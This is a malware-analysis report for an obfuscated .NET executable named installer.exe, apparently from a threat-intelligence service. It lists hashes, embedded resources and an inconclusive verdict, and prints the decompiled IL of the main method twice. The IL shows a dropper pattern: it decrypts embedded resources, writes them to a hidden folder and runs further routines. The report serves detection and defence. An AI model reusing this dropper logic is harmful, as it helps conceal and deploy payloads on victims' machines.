Suspicious
Suspect

d69a7974e45db534b5dfc9b785f8ce0f

PE Executable
MD5: d69a7974e45db534b5dfc9b785f8ce0f
Size: 1.03 MB
application/x-dosexec

This sample is a 1004 KB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 5 embedded or derived files. It matches 10 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
71cfefd6acba889266eb65ad63992d288a1c30deaa2bd38f1d22b9ec7dfa9220
MD5
d69a7974e45db534b5dfc9b785f8ce0f
Verdict
Inconclusive
File type
PE Executable · 1004 KB

Cite this report: https://app.malva.re/sha256/71cfefd6acba889266eb65ad63992d288a1c30deaa2bd38f1d22b9ec7dfa9220

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
1.03 MB · 1,028,096 B
First seen
2026-10-25 01:00 · 2 days ago
Last seen
2026-10-25 01:00 · 2 days ago
Last analysis
2026-10-25 01:00 · 2 days ago
Hashes
MD5 d69a7974e45db534b5dfc9b785f8ce0f Sha1 291026858ad74c324de13d2dc9b6b369fee4df6a Sha256 71cfefd6acba889266eb65ad63992d288a1c30deaa2bd38f1d22b9ec7dfa9220 Sha384 9cb65066c55fb55f5332cee266e07b49b3c9aadef315131c06cd82e1d180f647e72b9bd1d989a0270c7639f184576818 Sha512 0427e010831c86ffcd6a94d559ab926e9807b5cb3f36fd9cc9e08c75da269bafe969efc284d1cd17614cd77feeadb403da9755a299e1ecf03c58e06bf65ee153 SSDeep 24576:TKUvhQiR4D6XUvWn5RGDLorPqHneK/9Pni3yEx67M16s:TKmhQiCD6XUvO+HeKF/i3R67Mz TLSH 6D25E0942670FACDD4F90F3765B03A2498C006228F5BD54331AB26BE02B979797613FE
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high

6 files
EXEd69a7974e45db534b5dfc9b785f8ce0f
Structure
BIN.Net Resources
EXEstub.exe
DATaddrs.dat
DATwlist.dat
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name Value
Module Name
installer.exe
Full Name
installer.exe
EntryPoint
System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::CXMSClNRUQMwnEQdwLTIbCneYGYk()
Scope Name
installer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
installer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1
Main Method
System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::CXMSClNRUQMwnEQdwLTIbCneYGYk()
Main IL Instruction Count
502
Main IL 
nop <null>
ldsfld System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::iUXLjijxpBLdHEMJcAVbPdZGncIs
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1044239131
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.s 13
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0177: call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::jNZAQIrnVsDqjcXhpAhtjRWAVloo()
pop <null>
ldloc.s V_15
ldc.i4 1255886257
mul <null>
ldc.i4 -1702864762
xor <null>
br.s IL_0015: ldc.i4 1774917458
br IL_0652: nop
ldloc.s V_15
ldc.i4 -341598827
mul <null>
ldc.i4 246062565
xor <null>
br.s IL_0015: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1049973786
mul <null>
ldc.i4 1623290201
xor <null>
br IL_0015: ldc.i4 1774917458
br IL_0652: nop
ldloc.s V_15
ldc.i4 -656045451
mul <null>
ldc.i4 264921282
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::tzTWkuvElAKOyyphuDCURAwySLLA()
stloc.s V_12
ldloc.s V_12
brfalse.s IL_00C9: ldc.i4 1187531875
ldc.i4 854325119
dup <null>
br.s IL_00CF: pop
ldc.i4 1187531875
dup <null>
pop <null>
br IL_0015: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_00E1: ldc.i4 1371088752
ldc.i4 1375830642
dup <null>
br.s IL_00E7: pop
ldc.i4 1371088752
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -1288537230
mul <null>
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::KjStgsuXlZpfnvonZsNcrVDjGyPD()
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1336600973
br IL_0015: ldc.i4 1774917458
nop <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
ldloc.s V_15
ldc.i4 2033107138
mul <null>
ldc.i4 1324366787
xor <null>
br IL_0015: ldc.i4 1774917458
nop <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
nop <null>
br IL_0652: nop
ldloc.s V_15
ldc.i4 -1975665576
mul <null>
ldc.i4 -172514494
xor <null>
br IL_0015: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_014E: ldc.i4 -176805417
ldc.i4 -1829804729
dup <null>
br.s IL_0154: pop
ldc.i4 -176805417
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 1768411304
mul <null>
xor <null>
br IL_0015: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1727370530
mul <null>
ldc.i4 1112427290
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
nop <null>
nop <null>
ldc.i4.1 <null>
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::oTeFKDxdENcwcGgupogSBlhJZVfXB(System.Int32)
stloc.0 <null>
ldc.i4 1050150130
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.s 36
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_05B6: leave.s IL_0604
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_12
ldc.i4 1318921856
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
call System.Boolean System.IO.Directory::Exists(System.String)
stloc.s V_12
ldloc.s V_12
brfalse.s IL_0258: ldc.i4 694628516
ldc.i4 1332515973
dup <null>
br.s IL_025E: pop
ldc.i4 694628516
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 1271298773
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
brfalse IL_03B9: ldc.i4.0
ldloc.s V_15
ldc.i4 -1925411189
mul <null>
ldc.i4 526928841
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.1 <null>
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_15
ldc.i4 995512249
mul <null>
ldc.i4 994848099
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1656481681
mul <null>
ldc.i4 -1407436352
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
stloc.s V_6
ldc.i4 754530403
br IL_018A: ldc.i4 1774917458
nop <null>
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::sWQyHPYnhhnsYawcvrOlQMqGmEyD()
stloc.2 <null>
ldloc.s V_15
ldc.i4 1230522654
mul <null>
ldc.i4 -1008306589
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_15
ldc.i4 1135355598
mul <null>
ldc.i4 2048885543
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_6
stloc.s V_9
ldloc.s V_6
ldc.i4 60184613
br.s IL_0301: call System.String <Module>::‌‍‮‬‎‌‪​‪‮​‌​‬‭‏‮‬‫‬‬‪‬‬‌‌‮<System.String>(System.Int32)
call System.String <Module>::‌‍‮‬‎‌‪​‪‮​‌​‬‭‏‮‬‫‬‬‪‬‬‌‌‮<System.String>(System.Int32)
ldc.i4.5 <null>
callvirt System.Boolean System.String::EndsWith(System.String,System.StringComparison)
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1810781020
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_5
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
ldloc.s V_15
ldc.i4 1125372107
mul <null>
ldc.i4 -623871112
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 672446102
mul <null>
ldc.i4 1559889626
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.2 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldloc.s V_12
brtrue.s IL_0363: ldc.i4 903222261
ldc.i4 2029597265
dup <null>
br.s IL_0369: pop
ldc.i4 903222261
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -846175770
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brfalse.s IL_0384: ldc.i4 415833249
ldc.i4 1483762538
dup <null>
br.s IL_038A: pop
ldc.i4 415833249
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 893483517
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 635303053
mul <null>
ldc.i4 -1452074546
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_03BA: nop
ldc.i4.0 <null>
nop <null>
stloc.s V_12
ldc.i4 2102114689
br IL_018A: ldc.i4 1774917458
ldloc.s V_4
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_5
ldloc.s V_15
ldc.i4 1023558899
mul <null>
ldc.i4 -921090177
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.0 <null>
ldloc.s V_11
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::qCfQjrawjRGblbqTbhldXCadmQCQ(System.String,System.String)
nop <null>
nop <null>
ldloc.s V_15
ldc.i4 -1383392001
mul <null>
ldc.i4 110293288
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -882571532
mul <null>
ldc.i4 538911205
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_0420: ldc.i4 -1495941617
ldc.i4 -1304423683
dup <null>
br.s IL_0426: pop
ldc.i4 -1495941617
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -390861627
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldc.i4 925319420
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1354723201
mul <null>
ldc.i4 -1137383147
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
ldloc.s V_9
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_11
ldloc.s V_11
ldloc.s V_8
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
ldloc.s V_10
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1052173984
br IL_018A: ldc.i4 1774917458
ldloc.s V_11
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::nXKPFgWlIverUXtGWAwuGkobtlKz(System.String)
ldloc.s V_15
ldc.i4 -1093690505
mul <null>
ldc.i4 -1013436769
xor <null>
br IL_018A: ldc.i4 1774917458
leave IL_0652: nop
ldloc.s V_15
ldc.i4 1780791997
mul <null>
ldc.i4 -1863048337
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_04BD: ldc.i4 -1127463426
ldc.i4 -1553462738
dup <null>
br.s IL_04C3: pop
ldc.i4 -1127463426
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -740878641
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::RoyjhVczgyfUfZfemUqhfdmDSjXF()
stloc.3 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_4
ldc.i4 1068982267
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.1 <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::JplsvoWYKAbgnBDcyEDDSSAUxfOk(System.String)
ldloc.s V_15
ldc.i4 900236251
mul <null>
ldc.i4 -309563093
xor <null>
br IL_018A: ldc.i4 1774917458
ldsfld System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::iUXLjijxpBLdHEMJcAVbPdZGncIs
stloc.1 <null>
ldloc.s V_15
ldc.i4 1207933997
mul <null>
ldc.i4 -839675791
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldc.i4 1971413242
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brfalse.s IL_0538: ldc.i4 -58987995
ldc.i4 -1327308622
dup <null>
br.s IL_053E: pop
ldc.i4 -58987995
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 2082147682
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_4
ldloc.s V_6
call System.Byte[] iPhNAcvVBwLJVhyosZdIHLoVeBSG::VZwKouIMEXrBNTMDzmvPTZTNDdvX(System.Reflection.Assembly,System.String)
stloc.s V_7
ldloc.s V_15
ldc.i4 -271137983
mul <null>
ldc.i4 -86686828
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
ldc.i4 2079839003
br.s IL_0575: call System.String <Module>::‬‮‪‭‭​‭‮‬‬‪‪‌‍‎​‎‮‬‍‎‬‮<System.String>(System.Int32)
call System.String <Module>::‬‮‪‭‭​‭‮‬‬‪‪‌‍‎​‎‮‬‍‎‬‮<System.String>(System.Int32)
call System.Byte[] iPhNAcvVBwLJVhyosZdIHLoVeBSG::xZZFbEaqwEqRQuttCdQeeoRudxQwA(System.Byte[],System.String)
stloc.s V_8
ldc.i4 951998146
br IL_018A: ldc.i4 1774917458
nop <null>
ldc.i4 1820926591
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.0 <null>
ldc.i4 143416163
br.s IL_059F: call System.String <Module>::​‌‮‌‫‪‬‭‍​‮‮‎‪‏‫‮‭‪‎‏‌‮<System.String>(System.Int32)
call System.String <Module>::​‌‮‌‫‪‬‭‍​‮‮‎‪‏‫‮‭‪‎‏‌‮<System.String>(System.Int32)
call System.String System.String::Concat(System.String,System.String)
stloc.s V_9
nop <null>
ldc.i4 493977260
br IL_018A: ldc.i4 1774917458
leave.s IL_0604: nop
pop <null>
ldc.i4 1188027649
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0602: leave.s IL_0604
nop <null>
ldloc.s V_15
ldc.i4 1755611966
mul <null>
ldc.i4 1245543209
xor <null>
br.s IL_05BE: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 1793389899
mul <null>
ldc.i4 -1075644401
xor <null>
br.s IL_05BE: ldc.i4 1774917458
leave.s IL_0604: nop
nop <null>
ldc.i4 940295791
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0652: nop
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::TtmBjZYWgdQtntFlRiRBzhYQyQDJ()
ldloc.s V_15
ldc.i4 83935183
mul <null>
ldc.i4 1557619273
xor <null>
br.s IL_060A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 767272156
mul <null>
ldc.i4 49291169
xor <null>
br.s IL_060A: ldc.i4 1774917458
nop <null>
ret <null>
Module Name
installer.exe
Full Name
installer.exe
EntryPoint
System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::CXMSClNRUQMwnEQdwLTIbCneYGYk()
Scope Name
installer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
installer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1
Main Method
System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::CXMSClNRUQMwnEQdwLTIbCneYGYk()
Main IL Instruction Count
502
Main IL 
nop <null>
ldsfld System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::iUXLjijxpBLdHEMJcAVbPdZGncIs
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1044239131
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.s 13
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0177: call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::jNZAQIrnVsDqjcXhpAhtjRWAVloo()
pop <null>
ldloc.s V_15
ldc.i4 1255886257
mul <null>
ldc.i4 -1702864762
xor <null>
br.s IL_0015: ldc.i4 1774917458
br IL_0652: nop
ldloc.s V_15
ldc.i4 -341598827
mul <null>
ldc.i4 246062565
xor <null>
br.s IL_0015: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1049973786
mul <null>
ldc.i4 1623290201
xor <null>
br IL_0015: ldc.i4 1774917458
br IL_0652: nop
ldloc.s V_15
ldc.i4 -656045451
mul <null>
ldc.i4 264921282
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::tzTWkuvElAKOyyphuDCURAwySLLA()
stloc.s V_12
ldloc.s V_12
brfalse.s IL_00C9: ldc.i4 1187531875
ldc.i4 854325119
dup <null>
br.s IL_00CF: pop
ldc.i4 1187531875
dup <null>
pop <null>
br IL_0015: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_00E1: ldc.i4 1371088752
ldc.i4 1375830642
dup <null>
br.s IL_00E7: pop
ldc.i4 1371088752
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -1288537230
mul <null>
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Boolean iPhNAcvVBwLJVhyosZdIHLoVeBSG::KjStgsuXlZpfnvonZsNcrVDjGyPD()
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1336600973
br IL_0015: ldc.i4 1774917458
nop <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
ldloc.s V_15
ldc.i4 2033107138
mul <null>
ldc.i4 1324366787
xor <null>
br IL_0015: ldc.i4 1774917458
nop <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
nop <null>
br IL_0652: nop
ldloc.s V_15
ldc.i4 -1975665576
mul <null>
ldc.i4 -172514494
xor <null>
br IL_0015: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_014E: ldc.i4 -176805417
ldc.i4 -1829804729
dup <null>
br.s IL_0154: pop
ldc.i4 -176805417
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 1768411304
mul <null>
xor <null>
br IL_0015: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1727370530
mul <null>
ldc.i4 1112427290
xor <null>
br IL_0015: ldc.i4 1774917458
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::eeVQBXRSrpYzPiqdSFdTwSCFMoVg()
nop <null>
nop <null>
ldc.i4.1 <null>
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::oTeFKDxdENcwcGgupogSBlhJZVfXB(System.Int32)
stloc.0 <null>
ldc.i4 1050150130
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.s 36
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_05B6: leave.s IL_0604
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_12
ldc.i4 1318921856
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
call System.Boolean System.IO.Directory::Exists(System.String)
stloc.s V_12
ldloc.s V_12
brfalse.s IL_0258: ldc.i4 694628516
ldc.i4 1332515973
dup <null>
br.s IL_025E: pop
ldc.i4 694628516
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 1271298773
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
brfalse IL_03B9: ldc.i4.0
ldloc.s V_15
ldc.i4 -1925411189
mul <null>
ldc.i4 526928841
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.1 <null>
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_15
ldc.i4 995512249
mul <null>
ldc.i4 994848099
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1656481681
mul <null>
ldc.i4 -1407436352
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
stloc.s V_6
ldc.i4 754530403
br IL_018A: ldc.i4 1774917458
nop <null>
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::sWQyHPYnhhnsYawcvrOlQMqGmEyD()
stloc.2 <null>
ldloc.s V_15
ldc.i4 1230522654
mul <null>
ldc.i4 -1008306589
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_15
ldc.i4 1135355598
mul <null>
ldc.i4 2048885543
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_6
stloc.s V_9
ldloc.s V_6
ldc.i4 60184613
br.s IL_0301: call System.String <Module>::‌‍‮‬‎‌‪​‪‮​‌​‬‭‏‮‬‫‬‬‪‬‬‌‌‮<System.String>(System.Int32)
call System.String <Module>::‌‍‮‬‎‌‪​‪‮​‌​‬‭‏‮‬‫‬‬‪‬‬‌‌‮<System.String>(System.Int32)
ldc.i4.5 <null>
callvirt System.Boolean System.String::EndsWith(System.String,System.StringComparison)
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1810781020
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_5
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
ldloc.s V_15
ldc.i4 1125372107
mul <null>
ldc.i4 -623871112
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 672446102
mul <null>
ldc.i4 1559889626
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.2 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldloc.s V_12
brtrue.s IL_0363: ldc.i4 903222261
ldc.i4 2029597265
dup <null>
br.s IL_0369: pop
ldc.i4 903222261
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -846175770
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brfalse.s IL_0384: ldc.i4 415833249
ldc.i4 1483762538
dup <null>
br.s IL_038A: pop
ldc.i4 415833249
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 893483517
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 635303053
mul <null>
ldc.i4 -1452074546
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_03BA: nop
ldc.i4.0 <null>
nop <null>
stloc.s V_12
ldc.i4 2102114689
br IL_018A: ldc.i4 1774917458
ldloc.s V_4
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_5
ldloc.s V_15
ldc.i4 1023558899
mul <null>
ldc.i4 -921090177
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.0 <null>
ldloc.s V_11
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::qCfQjrawjRGblbqTbhldXCadmQCQ(System.String,System.String)
nop <null>
nop <null>
ldloc.s V_15
ldc.i4 -1383392001
mul <null>
ldc.i4 110293288
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -882571532
mul <null>
ldc.i4 538911205
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_0420: ldc.i4 -1495941617
ldc.i4 -1304423683
dup <null>
br.s IL_0426: pop
ldc.i4 -1495941617
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -390861627
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldc.i4 925319420
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 -1354723201
mul <null>
ldc.i4 -1137383147
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.1 <null>
ldloc.s V_9
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_11
ldloc.s V_11
ldloc.s V_8
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
ldloc.s V_10
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldc.i4 1052173984
br IL_018A: ldc.i4 1774917458
ldloc.s V_11
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::nXKPFgWlIverUXtGWAwuGkobtlKz(System.String)
ldloc.s V_15
ldc.i4 -1093690505
mul <null>
ldc.i4 -1013436769
xor <null>
br IL_018A: ldc.i4 1774917458
leave IL_0652: nop
ldloc.s V_15
ldc.i4 1780791997
mul <null>
ldc.i4 -1863048337
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brtrue.s IL_04BD: ldc.i4 -1127463426
ldc.i4 -1553462738
dup <null>
br.s IL_04C3: pop
ldc.i4 -1127463426
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 -740878641
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
call System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::RoyjhVczgyfUfZfemUqhfdmDSjXF()
stloc.3 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_4
ldc.i4 1068982267
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.1 <null>
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::JplsvoWYKAbgnBDcyEDDSSAUxfOk(System.String)
ldloc.s V_15
ldc.i4 900236251
mul <null>
ldc.i4 -309563093
xor <null>
br IL_018A: ldc.i4 1774917458
ldsfld System.String iPhNAcvVBwLJVhyosZdIHLoVeBSG::iUXLjijxpBLdHEMJcAVbPdZGncIs
stloc.1 <null>
ldloc.s V_15
ldc.i4 1207933997
mul <null>
ldc.i4 -839675791
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldc.i4 1971413242
br IL_018A: ldc.i4 1774917458
ldloc.s V_12
brfalse.s IL_0538: ldc.i4 -58987995
ldc.i4 -1327308622
dup <null>
br.s IL_053E: pop
ldc.i4 -58987995
dup <null>
pop <null>
ldloc.s V_15
ldc.i4 2082147682
mul <null>
xor <null>
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.s V_4
ldloc.s V_6
call System.Byte[] iPhNAcvVBwLJVhyosZdIHLoVeBSG::VZwKouIMEXrBNTMDzmvPTZTNDdvX(System.Reflection.Assembly,System.String)
stloc.s V_7
ldloc.s V_15
ldc.i4 -271137983
mul <null>
ldc.i4 -86686828
xor <null>
br IL_018A: ldc.i4 1774917458
ldloc.s V_7
ldc.i4 2079839003
br.s IL_0575: call System.String <Module>::‬‮‪‭‭​‭‮‬‬‪‪‌‍‎​‎‮‬‍‎‬‮<System.String>(System.Int32)
call System.String <Module>::‬‮‪‭‭​‭‮‬‬‪‪‌‍‎​‎‮‬‍‎‬‮<System.String>(System.Int32)
call System.Byte[] iPhNAcvVBwLJVhyosZdIHLoVeBSG::xZZFbEaqwEqRQuttCdQeeoRudxQwA(System.Byte[],System.String)
stloc.s V_8
ldc.i4 951998146
br IL_018A: ldc.i4 1774917458
nop <null>
ldc.i4 1820926591
br IL_018A: ldc.i4 1774917458
nop <null>
ldloc.0 <null>
ldc.i4 143416163
br.s IL_059F: call System.String <Module>::​‌‮‌‫‪‬‭‍​‮‮‎‪‏‫‮‭‪‎‏‌‮<System.String>(System.Int32)
